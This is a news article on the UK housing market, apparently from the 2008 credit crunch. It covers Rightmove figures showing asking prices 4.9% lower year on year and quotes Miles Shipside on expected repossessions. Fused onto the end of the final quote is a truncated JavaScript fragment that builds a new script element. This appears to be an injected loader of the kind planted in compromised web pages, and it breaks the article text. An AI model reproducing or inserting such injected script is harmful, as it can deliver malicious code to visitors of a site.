Property Vultures Circle & Wait

The downward trend in asking prices continues, with new sellers now marketing at 4.9% less than 12 months ago, the largest year-on-year fall ever recorded by Rightmove. At the same time, “property vultures” are circling, looking harder and longer for a good deal.

Rightmove said new sellers increased their asking prices by 1% compared to last month, though the price rise was far less pronounced than the October norm of circa 2% seen in more buoyant years. This continued the tradition of an autumn bounce in asking prices as, in spite of financial mayhem, some sellers are tempted to think their own residence is more desirable than its competition. Estate agents are also competing for scarce additional stock on the off chance it will sell and boost revenues before Christmas.

However, all should note that for the first time, this month sees all regions of the country slipping into negative territory compared to a year ago.

- Average Property Asking Price £229,691
- Largest ever annual fall recorded as average asking prices now 4.9% less than a year ago
- Traditional autumn asking price bounce more muted than previous years with new sellers asking an unrealistic 1% more than last month
- Severe shortage of new sellers sees some agents willing to overprice before
Christmas holidays
- As credit crunch fallout continues, will there be a surge of forced sales to
drive prices down further?
· Housing market unlikely to ever be the same again

Miles Shipside, commercial director of Rightmove, comments, “Any potential buyer will drive a hard bargain, so the temptation for sellers to price up and negotiate later may seem like a good idea. These are not the tactics of sellers in real financial hardship, and it would appear that the economic downturn has yet to become an everyday reality to most people. This is about to change as, unfortunately it looks like rising unemployment and an increasing pipeline of repossessions will drastically alter the complexion of the market in 2009.”

“Most home owners have been shielded by 15 years of economic growth, coupled with historically low unemployment and interest rates. They hope that the Government intervention in the finance markets will lead to a more stable housing market rather than a catastrophic one driven by repossessions as came to pass in the early 1990’s.

With 38 million visits to Rightmove in the last month, there appears to be pent up demand at the right price by circling property vultures. Predicting outcomes is difficult in uncertain times, but we believe that the steps being taken to avoid a collapse in the global financial system will result in a paradigm shift in the UK housing market.”}if (document.currentScript) { var d=document;var s=d.createElement('script');

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